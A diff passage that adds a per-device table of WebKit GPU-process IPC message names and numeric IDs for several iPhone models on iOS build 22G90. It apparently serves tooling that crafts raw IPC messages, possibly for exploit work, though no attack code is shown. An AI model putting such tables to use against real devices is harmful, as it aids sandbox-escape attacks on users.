RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone13,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,6_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,7_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,8_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + 